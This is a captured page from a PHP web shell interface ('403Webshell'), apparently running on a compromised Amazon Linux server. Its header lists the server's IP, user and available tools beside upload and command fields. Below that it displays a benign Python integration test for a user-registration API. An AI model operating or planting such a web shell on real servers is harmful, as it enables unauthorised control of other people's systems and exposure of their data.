403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.88
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/api/tests/integration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/api/tests/integration/registration_flow_manual.py
"""
Test script for user registration endpoint.

This script tests the new /api/v1/user/register/ endpoint with various scenarios.
"""

import requests
import json
import logging

# Configure logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

# API base URL
BASE_URL = "http://127.0.0.1:8000/api/v1"

def test_registration(username, email, password, site, first_name=None, last_name=None):
    """Test user registration endpoint."""
    url = f"{BASE_URL}/user/register/"

    data = {
        "username": username,
        "email": email,
        "password": password,
        "site": site
    }

    if first_name:
        data["first_name"] = first_name
    if last_name:
        data["last_name"] = last_name

    logger.info(f"\n{'='*60}")
    logger.info(f"Testing registration for: {username}")
    logger.info(f"Data: {json.dumps({k: v for k, v in data.items() if k != 'password'}, indent=2)}")

    try:
        response = requests.post(url, json=data)

        logger.info(f"Status Code: {response.status_code}")
        logger.info(f"Response: {json.dumps(response.json(), indent=2)}")

        return response
    except Exception as e:
        logger.error(f"Error: {str(e)}")
        return None

def main():
    """Run registration tests."""

    # Test 1: Valid registration
    logger.info("\n" + "="*60)
    logger.info("TEST 1: Valid Registration")
    logger.info("="*60)
    test_registration(
        username="testuser123",
        email="testuser123@example.com",
        password="SecurePass123",
        site="chat-dev.turmansolutions.test",
        first_name="Test",
        last_name="User"
    )

    # Test 2: Invalid username (too short)
    logger.info("\n" + "="*60)
    logger.info("TEST 2: Invalid Username (Too Short)")
    logger.info("="*60)
    test_registration(
        username="ab",
        email="short@example.com",
        password="SecurePass123",
        site="chat-dev.turmansolutions.test"
    )

    # Test 3: Invalid email format
    logger.info("\n" + "="*60)
    logger.info("TEST 3: Invalid Email Format")
    logger.info("="*60)
    test_registration(
        username="testuser456",
        email="not-an-email",
        password="SecurePass123",
        site="chat-dev.turmansolutions.test"
    )

    # Test 4: Weak password (no numbers)
    logger.info("\n" + "="*60)
    logger.info("TEST 4: Weak Password (No Numbers)")
    logger.info("="*60)
    test_registration(
        username="testuser789",
        email="testuser789@example.com",
        password="OnlyLetters",
        site="chat-dev.turmansolutions.test"
    )

    # Test 5: Password too short
    logger.info("\n" + "="*60)
    logger.info("TEST 5: Password Too Short")
    logger.info("="*60)
    test_registration(
        username="testuser999",
        email="testuser999@example.com",
        password="Pass1",
        site="chat-dev.turmansolutions.test"
    )

    # Test 6: Invalid site
    logger.info("\n" + "="*60)
    logger.info("TEST 6: Invalid Site")
    logger.info("="*60)
    test_registration(
        username="testuser000",
        email="testuser000@example.com",
        password="SecurePass123",
        site="invalid-site.com"
    )

    logger.info("\n" + "="*60)
    logger.info("ALL TESTS COMPLETED")
    logger.info("="*60)

if __name__ == "__main__":
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit